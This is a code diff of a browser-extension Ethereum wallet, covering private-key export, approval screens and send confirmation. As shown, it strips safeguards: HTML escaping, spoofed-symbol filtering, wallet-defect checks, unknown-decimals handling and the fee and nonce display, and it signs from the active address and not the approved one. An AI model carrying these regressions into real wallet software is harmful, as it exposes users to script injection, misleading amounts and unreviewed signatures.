+        attachCopyHandlers(exportAddrContainer);
+        $("export-privkey-password").value = "";
+        $("export-privkey-flash").textContent = "";
+        $("export-privkey-flash").style.visibility = "hidden";
+        $("export-privkey-password-section").classList.remove("hidden");
+        $("export-privkey-result").classList.add("hidden");
+        $("export-privkey-value").textContent = "";
+        showView("export-privkey");
     });
 
-    exportPrivkey.init();
+    $("btn-export-privkey-confirm").addEventListener("click", async () => {
+        const password = $("export-privkey-password").value;
+        if (!password) {
+            $("export-privkey-flash").textContent = "Password is required.";
+            $("export-privkey-flash").style.visibility = "visible";
+            return;
+        }
+        const btn = $("btn-export-privkey-confirm");
+        btn.disabled = true;
+        btn.classList.add("text-muted");
+        const wallet = state.wallets[state.selectedWallet];
+        try {
+            const secret = await decryptWithPassword(
+                wallet.encryptedSecret,
+                password,
+            );
+            const signer = getSignerForAddress(
+                wallet,
+                state.selectedAddress,
+                secret,
+            );
+            const privateKey = signer.privateKey;
+            $("export-privkey-password-section").classList.add("hidden");
+            $("export-privkey-value").textContent = privateKey;
+            $("export-privkey-result").classList.remove("hidden");
+            $("export-privkey-flash").style.visibility = "hidden";
+        } catch {
+            $("export-privkey-flash").textContent = "Wrong password.";
+            $("export-privkey-flash").style.visibility = "visible";
+        } finally {
+            btn.disabled = false;
+            btn.classList.remove("text-muted");
+        }
+    });
+
+    $("export-privkey-value").addEventListener("click", () => {
+        const key = $("export-privkey-value").textContent;
+        if (key) {
+            navigator.clipboard.writeText(key);
+            showFlash("Copied!");
+            flashCopyFeedback($("export-privkey-value"));
+        }
+    });
+
+    $("btn-export-privkey-back").addEventListener("click", () => {
+        $("export-privkey-value").textContent = "";
+        $("export-privkey-password").value = "";
+        goBack();
+    });
 }
 
 module.exports = { init, show };

src/popup/views/addressToken.js

@@ -9,18 +9,20 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
-    displaySymbol,
     truncateMiddle,
     balanceLine,
-    unknownableAmount,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
     pushCurrentView,
 } = require("./helpers");
-const { state, saveState } = require("../../shared/state");
+const { state, currentAddress, saveState } = require("../../shared/state");
 const { TOKEN_BY_ADDRESS, resolveSymbol } = require("../../shared/tokenList");
-const { formatUsd, getPrice } = require("../../shared/prices");
+const {
+    formatUsd,
+    getPrice,
+    getAddressValueUsd,
+} = require("../../shared/prices");
 const {
     fetchRecentTransactions,
     filterTransactions,
@@ -33,7 +35,6 @@ const {
 } = require("./send");
 const { log } = require("../../shared/log");
 const makeBlockie = require("ethereum-blockies-base64");
-const { walletDefect } = require("../../shared/walletDefects");
 
 let ctx;
 
@@ -119,20 +120,14 @@ function show() {
             addr.tokenBalances,
             state.trackedTokens,
         );
-        // null when the scale is unknown: no quantity to show, and none to
-        // price. balanceLine() states that rather than printing 0.0000.
-        amount = tb ? unknownableAmount(tb.balance) : 0;
+        amount = tb ? parseFloat(tb.balance || "0") : 0;
         price = getPrice(symbol);
     }
 
     currentSymbol = symbol;
 
     $("address-token-title").textContent =
-        wallet.name +
-        " \u2014 Address " +
-        (ai + 1) +
-        " \u2014 " +
-        displaySymbol(symbol);
+        wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
 
     // Blockie
     const blockieEl = $("address-token-jazzicon");
@@ -155,7 +150,7 @@ function show() {
     attachCopyHandlers($("address-token-line"));
 
     // USD total for this token only
-    const usdVal = price && amount !== null ? amount * price : null;
+    const usdVal = price ? amount * price : null;
     const usdStr = formatUsd(usdVal);
     $("address-token-usd-total").innerHTML = usdStr || " ";
 
@@ -182,9 +177,7 @@ function show() {
             (knownToken && knownToken.symbol) ||
             null;
         const tokenName = rawName ? escapeHtml(rawName) : null;
-        const tokenSymbol = rawSymbol
-            ? escapeHtml(displaySymbol(rawSymbol))
-            : null;
+        const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
         const tokenDecimals =
             tb && tb.decimals != null
                 ? tb.decimals
@@ -229,7 +222,6 @@ async function loadTransactions(address, tokenId) {
             state.blockscoutUrl,
         );
         const result = filterTransactions(rawTxs, {
-            hideSpoofedSymbols: state.hideSpoofedSymbols,
             hideLowHolderTokens: state.hideLowHolderTokens,
             hideFraudContracts: state.hideFraudContracts,
             hideDustTransactions: state.hideDustTransactions,
@@ -271,7 +263,6 @@ async function loadTransactions(address, tokenId) {
                 ensNameMap = await resolveEnsNames(
                     counterparties,
                     state.rpcUrl,
-                    state.networkId,
                 );
             } catch {
                 ensNameMap = new Map();
@@ -299,12 +290,10 @@ function renderTransactions(txs) {
         const counterparty = tx.direction === "sent" ? tx.to : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        // The explorer's method name for a contract call, title-cased.
-        const dirLabel = escapeHtml(tx.directionLabel);
-        const sym = displaySymbol(tx.symbol);
+        const dirLabel = tx.directionLabel;
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + sym)
-            : escapeHtml(sym);
+            ? escapeHtml(tx.value + " " + tx.symbol)
+            : escapeHtml(tx.symbol);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -348,11 +337,6 @@ function init(_ctx) {
     });
 
     $("btn-address-token-send").addEventListener("click", () => {
-        const defect = walletDefect(state.wallets[state.selectedWallet]);
-        if (defect) {
-            showFlash(defect.shortMessage);
-            return;
-        }
         const addr =
             state.wallets[state.selectedWallet].addresses[
                 state.selectedAddress
@@ -374,7 +358,7 @@ function init(_ctx) {
         }
         // Hide dropdown, show static token display
         $("send-token").classList.add("hidden");
-        let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
+        let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
         if (tokenId !== "ETH") {
             staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
         }

src/popup/views/approval.js

@@ -7,10 +7,8 @@ const {
     hideError,
     renderAddressHtml,
     attachCopyHandlers,
-    onViewLeave,
 } = require("./helpers");
-const { state, saveState } = require("../../shared/state");
-const { networkByChainId } = require("../../shared/networks");
+const { state, saveState, currentNetwork } = require("../../shared/state");
 const {
     formatEther,
     formatUnits,
@@ -21,23 +19,13 @@ const {
 const { getPrice, formatUsd } = require("../../shared/prices");
 const { ERC20_ABI } = require("../../shared/constants");
 const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
-const {
-    resolveTokenDecimals,
-    unknownDecimalsAmount,
-} = require("../../shared/approvalAmount");
-// Four decimals, with the nonzero floor these screens hold: every amount this
-// view renders — the ERC-20 line, the ETH value, the max fee — and every one
-// it carries forward to the wait/success/error screens goes through it.
-const {
-    truncateAmountNeverZero: formatTxValue,
-} = require("../../shared/amountDisplay");
 const { decryptWithPassword } = require("../../shared/vault");
 const { getSignerForAddress } = require("../../shared/wallet");
-const { walletDefect } = require("../../shared/walletDefects");
-const { describeSigningFailure } = require("../../shared/approvalVerify");
+const { getProvider } = require("../../shared/balances");
 const txStatus = require("./txStatus");
 const uniswap = require("../../shared/uniswap");
-const { notify, runtimeApi, sendMessage } = require("../../shared/browserApi");
+const runtime =
+    typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
 
 const erc20Iface = new Interface(ERC20_ABI);
 
@@ -46,21 +34,11 @@ function approvalAddressHtml(address) {
     return renderAddressHtml(address, { title });
 }
 
-// The amount line for a decoded ERC-20 call. With a known scale it is the
-// token quantity; with `decimals` null it is the base-unit integer with the
-// unknown scale stated, because formatting it with an assumed scale is what
-// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
-// carry, `display` is what the approval screen shows.
-function tokenAmountText(rawAmount, decimals, symbol) {
-    if (decimals === null) {
-        const unknown = unknownDecimalsAmount(rawAmount);
-        return { raw: unknown, display: unknown };
-    }
-    const formatted = formatTxValue(formatUnits(rawAmount, decimals));
-    return {
-        raw: formatted,
-        display: formatted + (symbol ? " " + symbol : ""),
-    };
+function formatTxValue(val) {
+    const parts = val.split(".");
+    if (parts.length === 1) return val + ".0000";
+    const dec = (parts[1] + "0000").slice(0, 4);
+    return parts[0] + "." + dec;
 }
 
 function tokenLabel(address) {
@@ -73,29 +51,13 @@ function tokenLabel(address) {
 function decodeCalldata(data, toAddress) {
     if (!data || data === "0x" || data.length < 10) return null;
 
-    // Where a token's scale is looked for, for every decoder below: the ERC-20
-    // amount line and the swap's Amount and Min. received lines resolve it the
-    // same way, and refuse to format the same way when it is nowhere.
-    const decimalsSources = {
-        trackedTokens: state.trackedTokens,
-        wallets: state.wallets,
-    };
-
     // Try ERC-20 (approve / transfer)
     try {
         const parsed = erc20Iface.parseTransaction({ data });
         if (parsed) {
             const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
             const tokenSymbol = token ? token.symbol : null;
-            // null when no source knows this token's scale. It is not
-            // defaulted to 18: an amount formatted with a guessed scale is
-            // the wrong number, and for a token with fewer decimals than the
-            // guess it is the wrong number in the direction that reads as
-            // zero. See tokenAmountText().
-            const tokenDecimals = resolveTokenDecimals(
-                toAddress,
-                decimalsSources,
-            );
+            const tokenDecimals = token ? token.decimals : 18;
             const contractLabel = tokenSymbol
                 ? tokenSymbol + " (" + toAddress + ")"
                 : toAddress;
@@ -107,11 +69,12 @@ function decodeCalldata(data, toAddress) {
                     "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
                 );
                 const isUnlimited = rawAmount === maxUint;
-                // An unbounded allowance needs no scale to describe, so it is
-                // still named rather than refused.
-                const amount = isUnlimited
-                    ? { raw: "Unlimited", display: "Unlimited" }
-                    : tokenAmountText(rawAmount, tokenDecimals, tokenSymbol);
+                const amountRaw = isUnlimited
+                    ? "Unlimited"
+                    : formatTxValue(formatUnits(rawAmount, tokenDecimals));
+                const amountStr = isUnlimited
+                    ? "Unlimited"
+                    : amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
 
                 return {
                     name: "Token Approval",
@@ -132,8 +95,8 @@ function decodeCalldata(data, toAddress) {
                         },
                         {
                             label: "Amount",
-                            value: amount.display,
-                            rawValue: amount.raw,
+                            value: amountStr,
+                            rawValue: amountRaw,
                         },
                     ],
                 };
@@ -142,11 +105,11 @@ function decodeCalldata(data, toAddress) {
             if (parsed.name === "transfer") {
                 const to = parsed.args[0];
                 const rawAmount = parsed.args[1];
-                const amount = tokenAmountText(
-                    rawAmount,
-                    tokenDecimals,
-                    tokenSymbol,
+                const amountRaw = formatTxValue(
+                    formatUnits(rawAmount, tokenDecimals),
                 );
+                const amountStr =
+                    amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
 
                 return {
                     name: "Token Transfer",
@@ -163,8 +126,8 @@ function decodeCalldata(data, toAddress) {
                         { label: "Recipient", value: to, address: to },
                         {
                             label: "Amount",
-                            value: amount.display,
-                            rawValue: amount.raw,
+                            value: amountStr,
+                            rawValue: amountRaw,
                         },
                     ],
                 };
@@ -175,7 +138,7 @@ function decodeCalldata(data, toAddress) {
     }
 
     // Try Uniswap Universal Router
-    const routerResult = uniswap.decode(data, toAddress, decimalsSources);
+    const routerResult = uniswap.decode(data, toAddress);
     if (routerResult) return routerResult;
 
     return null;
@@ -193,61 +156,21 @@ function showPhishingWarning(elementId, isPhishing) {
     }
 }
 
-// The fields of the approved transaction the value and recipient lines do not
-// already carry: network, gas limit, fee per gas, the most the fee can come to,
-// and the nonce. The background compares every one of them against the signed
-// artifact, so every one of them has to be on the screen — a number that is
-// verified but never displayed is verified against nothing the user agreed to.
-function showTxFee(approvedTx, ethPrice) {
-    const network = networkByChainId(approvedTx.chainId);
-    $("approve-tx-network").textContent = network
-        ? network.name
-        : "Unknown network (chain id " + BigInt(approvedTx.chainId) + ")";
-
-    const gasLimit = BigInt(approvedTx.gasLimit);
-    const feePerGas = BigInt(approvedTx.maxFeePerGas || approvedTx.gasPrice);
-    const maxFeeEth = formatTxValue(formatEther(gasLimit * feePerGas));
-    const usdStr = formatUsd(
-        ethPrice ? parseFloat(maxFeeEth) * ethPrice : null,
-    );
-    $("approve-tx-fee").textContent =
-        maxFeeEth + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
-
-    let detail =
-        gasLimit.toString() +
-        " gas at up to " +
-        formatUnits(feePerGas, 9) +
-        " gwei";
-    if (approvedTx.maxPriorityFeePerGas) {
-        detail +=
-            ", " +
-            formatUnits(approvedTx.maxPriorityFeePerGas, 9) +
-            " gwei priority";
-    }
-    $("approve-tx-fee-detail").textContent = detail;
-    $("approve-tx-nonce").textContent = BigInt(approvedTx.nonce).toString();
-}
-
 function showTxApproval(details) {
     showPhishingWarning(
         "approve-tx-phishing-warning",
         details.isPhishingDomain,
     );
 
-    // The transaction the background populated. It is displayed as it stands,
-    // signed as it stands, and verified against as it stands — the popup fills
-    // nothing in, so there is no number on this screen that the background
-    // cannot compare with the artifact it gets back.
-    pendingTxParams = details.approvedTx;
-    const approvedTx = details.approvedTx;
+    pendingTxParams = details.txParams;
 
-    const toAddr = approvedTx.to;
+    const toAddr = details.txParams.to;
     const token = toAddr ? TOKEN_BY_ADDRESS.get(toAddr.toLowerCase()) : null;
-    const ethValue = formatEther(approvedTx.value || "0");
+    const ethValue = formatEther(details.txParams.value || "0");
 
     // Build txInfo for status screens
     pendingTxDetails = {
-        from: details.approvedFrom,
+        from: state.activeAddress,
         to: toAddr || "",
         amount: formatTxValue(ethValue),
         token: "ETH",
@@ -255,7 +178,7 @@ function showTxApproval(details) {
     };
 
     // If this is an ERC-20 call, try to extract the real recipient and amount
-    const decoded = decodeCalldata(approvedTx.data, toAddr || "");
+    const decoded = decodeCalldata(details.txParams.data, toAddr || "");
     if (decoded && decoded.details) {
         let decodedTokenAddr = null;
         let decodedTokenSymbol = null;
@@ -293,7 +216,7 @@ function showTxApproval(details) {
     }
 
     $("approve-tx-hostname").textContent = details.hostname;
-    $("approve-tx-from").innerHTML = approvalAddressHtml(details.approvedFrom);
+    $("approve-tx-from").innerHTML = approvalAddressHtml(state.activeAddress);
 
     // Show token symbol next to contract address if known
     const symbol = toAddr ? tokenLabel(toAddr) : null;
@@ -309,7 +232,7 @@ function showTxApproval(details) {
     }
 
     const ethValueFormatted = formatTxValue(
-        formatEther(approvedTx.value || "0"),
+        formatEther(details.txParams.value || "0"),
     );
     const ethPrice = getPrice("ETH");
     const ethUsd = ethPrice ? parseFloat(ethValueFormatted) * ethPrice : null;
@@ -317,8 +240,6 @@ function showTxApproval(details) {
     $("approve-tx-value").textContent =
         ethValueFormatted + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
 
-    showTxFee(approvedTx, ethPrice);
-
     // Decode calldata (reuse decoded from above)
     const decodedEl = $("approve-tx-decoded");
     if (decoded) {
@@ -347,8 +268,8 @@ function showTxApproval(details) {
     }
 
     // Always show raw data when present
-    if (approvedTx.data && approvedTx.data !== "0x") {
-        $("approve-tx-data").textContent = approvedTx.data;
+    if (details.txParams.data && details.txParams.data !== "0x") {
+        $("approve-tx-data").textContent = details.txParams.data;
         $("approve-tx-data-section").classList.remove("hidden");
     } else {
         $("approve-tx-data-section").classList.add("hidden");
@@ -359,11 +280,6 @@ function showTxApproval(details) {
 
     showView("approve-tx");
     attachCopyHandlers("view-approve-tx");
-    gateOnWalletDefect(
-        "approve-tx-error",
-        "btn-approve-tx",
-        details.approvedFrom,
-    );
 }
 
 function decodeHexMessage(hex) {
@@ -422,12 +338,9 @@ function showSignApproval(details) {
 
     const sp = details.signParams;
     pendingSignParams = sp;
-    pendingSignFrom = details.approvedFrom;
 
     $("approve-sign-hostname").textContent = details.hostname;
-    $("approve-sign-from").innerHTML = approvalAddressHtml(
-        details.approvedFrom,
-    );
+    $("approve-sign-from").innerHTML = approvalAddressHtml(sp.from);
 
     const isTyped =
         sp.method === "eth_signTypedData_v4" ||
@@ -466,69 +379,45 @@ function showSignApproval(details) {
 
     showView("approve-sign");
     attachCopyHandlers("view-approve-sign");
-    gateOnWalletDefect(
-        "approve-sign-error",
-        "btn-approve-sign",
-        details.approvedFrom,
-    );
 }
 
-// Awaited by nobody: the popup entry point calls this and moves on. It
-// therefore has to absorb its own failure, and a background that cannot
-// describe the approval is the same outcome as an approval that is gone.
-async function show(id) {
+function show(id) {
     approvalId = id;
-    approvalPort = runtimeApi().connect({ name: "approval:" + id });
-
-    let details = null;
-    try {
-        details = await sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id });
-    } catch {
-        details = null;
-    }
-
-    if (!details) {
-        window.close();
-        return;
-    }
-    if (details.type === "tx") {
-        showTxApproval(details);
-        return;
-    }
-    if (details.type === "sign") {
-        showSignApproval(details);
-        return;
-    }
-    // Site connection approval
-    showPhishingWarning(
-        "approve-site-phishing-warning",
-        details.isPhishingDomain,
-    );
-    $("approve-hostname").textContent = details.hostname;
-    $("approve-address").innerHTML = approvalAddressHtml(state.activeAddress);
-    attachCopyHandlers("view-approve-site");
-    $("approve-remember").checked = state.rememberSiteChoice;
+    runtime.connect({ name: "approval:" + id });
+    runtime.sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id }, (details) => {
+        if (!details) {
+            window.close();
+            return;
+        }
+        if (details.type === "tx") {
+            showTxApproval(details);
+            return;
+        }
+        if (details.type === "sign") {
+            showSignApproval(details);
+            return;
+        }
+        // Site connection approval
+        showPhishingWarning(
+            "approve-site-phishing-warning",
+            details.isPhishingDomain,
+        );
+        $("approve-hostname").textContent = details.hostname;
+        $("approve-address").innerHTML = approvalAddressHtml(
+            state.activeAddress,
+        );
+        attachCopyHandlers("view-approve-site");
+        $("approve-remember").checked = state.rememberSiteChoice;
+    });
 }
 
 let approvalId = null;
-// The port this approval was opened on. Closing this window disconnects it,
-// and the background treats that disconnect as "closed without deciding" for a
-// site connection — so the decision goes out on this same port and not as a
-// one-off message. One channel is ordered: a message posted on it is delivered
-// before its own disconnect, however immediately the close follows. Two
-// channels were not, and the close won, reporting a user who approved as
-// having refused.
-let approvalPort = null;
 let pendingTxDetails = null;
-// The exact objects shown to the user, kept so the popup signs what it
-// displayed rather than re-fetching or re-populating anything at approval
-// time. All are repopulated by show() when the popup is closed and reopened.
+// The exact parameters shown to the user, kept so the popup signs what it
+// displayed rather than re-fetching anything at approval time. Both are
+// repopulated by show() when the popup is closed and reopened.
 let pendingTxParams = null;
 let pendingSignParams = null;
-// The address the approval was raised for. Signing uses this rather than the
-// active address, so that an address switch since the approval fails here
-// instead of producing a signature from an account the screen never named.
-let pendingSignFrom = null;
 
 // Approve buttons stay disabled and muted while the popup derives the key and
 // signs, which is slow enough (Argon2id) that a double click is likely.
@@ -542,29 +431,12 @@ function setSignButtonBusy(busy) {
     $("btn-approve-sign").classList.toggle("text-muted", busy);
 }
 
-// Say so on the approval screen itself, and disable the approve button, when
-// the address the approval was raised for belongs to a wallet whose keys
-// cannot be derived. Without this the screen would take a password and fail
-// after deriving it. Reject stays available; the wallet is not touched.
-// Returns true when it gated.
-function gateOnWalletDefect(errorId, buttonId, address) {
-    const owner = findWalletFor(address);
-    const defect = owner ? walletDefect(owner.wallet) : null;
-    if (!defect) return false;
-    showError(errorId, defect.shortMessage);
-    $(buttonId).disabled = true;
-    $(buttonId).classList.add("text-muted");
-    return true;
-}
-
-// Locate the wallet and the address index owning an address. Returns null when
-// no wallet holds it. Approvals look up the address they were raised for, not
-// whichever address is active now: the approval named one account, and signing
-// with another is what verification refuses.
-function findWalletFor(address) {
+// Locate the wallet and the address index owning the currently active
+// address. Returns null when no wallet holds it.
+function findActiveWallet() {
     for (const wallet of state.wallets) {
         for (let i = 0; i < wallet.addresses.length; i++) {
-            if (wallet.addresses[i].address === address) {
+            if (wallet.addresses[i].address === state.activeAddress) {
                 return { wallet, addrIndex: i };
             }
         }
@@ -572,57 +444,32 @@ function findWalletFor(address) {
     return null;
 }
 
-// Drop the password from the DOM when either approval screen is left. The
-// approval window navigates on after a signature — approve-tx goes to the
-// wait screen — and the password must not sit in the hidden view for the
-// life of that window.
-function clearTxPassword() {
-    $("approve-tx-password").value = "";
-    hideError("approve-tx-error");
-}
-
-function clearSignPassword() {
-    $("approve-sign-password").value = "";
-    hideError("approve-sign-error");
-}
-
-// Answer a site-connection approval and close. The decision goes out on the
-// approval port — see approvalPort above for why — and carries no approval id,
-// because the port name already names the approval the background will settle.
-// The post is guarded because a throw must not cost the close: posting on a
-// port whose background worker has been torn down throws, and the approval it
-// would have settled died with that worker, so the only thing left to do is
-// what the user asked for — go away.
-function decideSite(approved) {
-    if (approvalPort) {
-        try {
-            approvalPort.postMessage({
-                type: "AUTISTMASK_APPROVAL_DECISION",
-                approved,
-                remember: $("approve-remember").checked,
-            });
-        } catch {
-            // Nothing to report it to; the window closes either way.
-        }
-    }
-    window.close();
-}
-
-function init(_ctx) {
-    onViewLeave("approve-tx", clearTxPassword);
-    onViewLeave("approve-sign", clearSignPassword);
-
+function init(ctx) {
     $("approve-remember").addEventListener("change", async () => {
         state.rememberSiteChoice = $("approve-remember").checked;
         await saveState();
     });
 
     $("btn-approve").addEventListener("click", () => {
-        decideSite(true);
+        const remember = $("approve-remember").checked;
+        runtime.sendMessage({
+            type: "AUTISTMASK_APPROVAL_RESPONSE",
+            id: approvalId,
+            approved: true,
+            remember,
+        });
+        window.close();
     });
 
     $("btn-reject").addEventListener("click", () => {
-        decideSite(false);
+        const remember = $("approve-remember").checked;
+        runtime.sendMessage({
+            type: "AUTISTMASK_APPROVAL_RESPONSE",
+            id: approvalId,
+            approved: false,
+            remember,
+        });
+        window.close();
     });
 
     $("btn-approve-tx").addEventListener("click", async () => {
@@ -634,25 +481,17 @@ function init(_ctx) {
         hideError("approve-tx-error");
         setTxButtonBusy(true);
 
-        const active = findWalletFor(pendingTxParams.from);
+        const active = findActiveWallet();
         if (!active) {
             password = null;
             showError(
                 "approve-tx-error",
-                "No wallet was found for the address this transaction was approved for.",
+                "No wallet was found for the active address.",
             );
             setTxButtonBusy(false);
             return;
         }
 
-        const defect = walletDefect(active.wallet);
-        if (defect) {
-            password = null;
-            showError("approve-tx-error", defect.shortMessage);
-            setTxButtonBusy(false);
-            return;
-        }
-
         // Decrypt here, in the popup. The password must never cross the
         // extension messaging boundary; only the signed transaction does.
         let decryptedSecret;
@@ -686,16 +525,15 @@ function init(_ctx) {
                 active.addrIndex,
                 decryptedSecret,
             );
-            // Sign the approved transaction exactly as it was displayed. The
-            // background populated it before this screen was drawn and checks
-            // the artifact against it field for field, so there is nothing to
-            // fill in here and no provider to fill it in from. The copy is
-            // because ethers may strip `from` off what it is handed, and the
-            // approval has to survive a retry intact; keeping `from` on it
-            // makes ethers refuse a key that is not the approved address.
-            payload.rawSignedTx = await signer.signTransaction({
-                ...pendingTxParams,
-            });
+            const provider = getProvider(state.rpcUrl);
+            const connected = signer.connect(provider);
+            // This is the sequence ethers' own sendTransaction() runs
+            // internally, so nonce, gas, fee and chain id population are
+            // identical to when the background did the signing.
+            const populated =
+                await connected.populateTransaction(pendingTxParams);
+            delete populated.from;
+            payload.rawSignedTx = await connected.signTransaction(populated);
         } catch (e) {
             payload.error =
                 e.shortMessage || e.message || "Transaction signing failed.";
@@ -705,37 +543,19 @@ function init(_ctx) {
             decryptedSecret = null;
         }
 
-        // A send that never reaches the background is reported to the user
-        // the same way a background that refused it is: describeSigningFailure
-        // turns a null response into the generic message below.
-        let response = null;
-        try {
-            response = await sendMessage(payload);
-        } catch {
-            response = null;
-        }
-
-        if (response && response.txHash) {
-            txStatus.showWait(pendingTxDetails, response.txHash);
-            return;
-        }
-        // A retryable failure leaves the approval pending in the
-        // background, so stay on this screen with a live button rather
-        // than sending the user to a dead end.
-        const outcome = describeSigningFailure(
-            response,
-            "The transaction could not be sent.",
-        );
-        if (outcome.retryable) {
-            showError("approve-tx-error", outcome.message);
-            setTxButtonBusy(false);
-        } else {
-            txStatus.showError(pendingTxDetails, null, outcome.message);
-        }
+        runtime.sendMessage(payload, (response) => {
+            if (response && response.txHash) {
+                txStatus.showWait(pendingTxDetails, response.txHash);
+            } else {
+                const msg =
+                    (response && response.error) || "Transaction failed.";
+                txStatus.showError(pendingTxDetails, null, msg);
+            }
+        });
     });
 
     $("btn-reject-tx").addEventListener("click", () => {
-        notify({
+        runtime.sendMessage({
             type: "AUTISTMASK_TX_RESPONSE",
             id: approvalId,
             approved: false,
@@ -752,25 +572,17 @@ function init(_ctx) {
         hideError("approve-sign-error");
         setSignButtonBusy(true);
 
-        const active = findWalletFor(pendingSignFrom);
+        const active = findActiveWallet();
         if (!active) {
             password = null;
             showError(
                 "approve-sign-error",
-                "No wallet was found for the address this request was approved for.",
+                "No wallet was found for the active address.",
             );
             setSignButtonBusy(false);
             return;
         }
 
-        const defect = walletDefect(active.wallet);
-        if (defect) {
-            password = null;
-            showError("approve-sign-error", defect.shortMessage);
-            setSignButtonBusy(false);
-            return;
-        }
-
         // Decrypt here, in the popup. The password must never cross the
         // extension messaging boundary; only the signature does.
         let decryptedSecret;
@@ -829,31 +641,19 @@ function init(_ctx) {
             decryptedSecret = null;
         }
 
-        let response = null;
-        try {
-            response = await sendMessage(payload);
-        } catch {
-            response = null;
-        }
-
-        if (response && response.signature) {
-            window.close();
-            return;
-        }
-        // The button comes back only when the approval is still pending in
-        // the background; otherwise it stays disabled and the message says
-        // why, because a control that cannot succeed must not look like it
-        // can.
-        const outcome = describeSigningFailure(
-            response,
-            "The message could not be signed.",
-        );
-        showError("approve-sign-error", outcome.message);
-        if (outcome.retryable) setSignButtonBusy(false);
+        runtime.sendMessage(payload, (response) => {
+            if (response && response.signature) {
+                window.close();
+            } else {
+                const msg = (response && response.error) || "Signing failed.";
+                showError("approve-sign-error", msg);
+                setSignButtonBusy(false);
+            }
+        });
     });
 
     $("btn-reject-sign").addEventListener("click", () => {
-        notify({
+        runtime.sendMessage({
             type: "AUTISTMASK_SIGN_RESPONSE",
             id: approvalId,
             approved: false,

src/popup/views/confirmTx.js

@@ -2,21 +2,27 @@
 // Shows transaction details, warnings, errors. On Sign & Send,
 // reads inline password, decrypts secret, signs and broadcasts.
 
-const { parseEther, parseUnits, formatEther, Contract } = require("ethers");
+const {
+    parseEther,
+    parseUnits,
+    formatEther,
+    formatUnits,
+    Contract,
+} = require("ethers");
 const {
     $,
     showError,
     hideError,
     showView,
+    showFlash,
+    flashCopyFeedback,
     addressTitle,
     escapeHtml,
-    displaySymbol,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
-    onViewLeave,
 } = require("./helpers");
-const { state } = require("../../shared/state");
+const { state, currentNetwork } = require("../../shared/state");
 const { getSignerForAddress } = require("../../shared/wallet");
 const { decryptWithPassword } = require("../../shared/vault");
 const { formatUsd, getPrice } = require("../../shared/prices");
@@ -26,28 +32,11 @@ const {
     getFullWarnings,
 } = require("../../shared/addressWarnings");
 const { ERC20_ABI, isBurnAddress } = require("../../shared/constants");
-const {
-    displayedDecimals,
-    transferAmountUnits,
-} = require("../../shared/transferAmount");
-const {
-    CODES,
-    FEE_PENDING,
-    FEE_KNOWN,
-    FEE_UNAVAILABLE,
-    feeReserveWei,
-    feeEstimateWei,
-    validateTransfer,
-} = require("../../shared/txValidation");
 const { log } = require("../../shared/log");
 const makeBlockie = require("ethereum-blockies-base64");
 const txStatus = require("./txStatus");
 
 let pendingTx = null;
-// Network fee for the transaction currently on screen. Reset by show() and
-// filled in by estimateGas() when the estimate resolves or fails.
-let feeStatus = FEE_PENDING;
-let feeWei = null;
 
 function restore() {
     const d = state.viewData;
@@ -58,7 +47,7 @@ function restore() {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function confirmAddressHtml(address, ensName, title) {
@@ -78,15 +67,9 @@ function valueWithUsd(text, usdAmount) {
 
 function show(txInfo) {
     pendingTx = txInfo;
-    feeStatus = FEE_PENDING;
-    feeWei = null;
 
     const isErc20 = txInfo.token !== "ETH";
-    // The raw symbol is the price-table key; the capped one is what the
-    // screen says. Truncating before the lookup would silently drop the
-    // price of any token whose symbol is long enough to be capped.
-    const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
-    const symbol = displaySymbol(rawSymbol);
+    const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
 
     // Transaction type
     if (isErc20) {
@@ -128,7 +111,7 @@ function show(txInfo) {
 
     // Amount (with inline USD)
     const ethPrice = getPrice("ETH");
-    const tokenPrice = getPrice(rawSymbol);
+    const tokenPrice = getPrice(symbol);
     const amountNum = parseFloat(txInfo.amount);
     const price = isErc20 ? tokenPrice : ethPrice;
     const amountUsd = price ? amountNum * price : null;
@@ -139,17 +122,12 @@ function show(txInfo) {
 
     // Balance (with inline USD)
     if (isErc20) {
-        // null is a balance whose scale nothing knows, not a balance of zero
-        // (https://git.eeqj.de/sneak/AutistMask/issues/349). The send is
-        // refused at encode time for the same missing scale; what this line
-        // must not do is state a quantity nobody established.
-        const bal = txInfo.tokenBalance;
-        const balUsd =
-            tokenPrice && bal != null ? parseFloat(bal) * tokenPrice : null;
-        $("confirm-balance").textContent =
-            bal == null
-                ? "unknown (" + symbol + ")"
-                : valueWithUsd(bal + " " + symbol, balUsd);
+        const bal = txInfo.tokenBalance || "0";
+        const balUsd = tokenPrice ? parseFloat(bal) * tokenPrice : null;
+        $("confirm-balance").textContent = valueWithUsd(
+            bal + " " + symbol,
+            balUsd,
+        );
     } else {
         const bal = txInfo.balance || "0";
         const balUsd = ethPrice ? parseFloat(bal) * ethPrice : null;
@@ -166,12 +144,7 @@ function show(txInfo) {
         warningsEl.innerHTML = localWarnings
             .map(
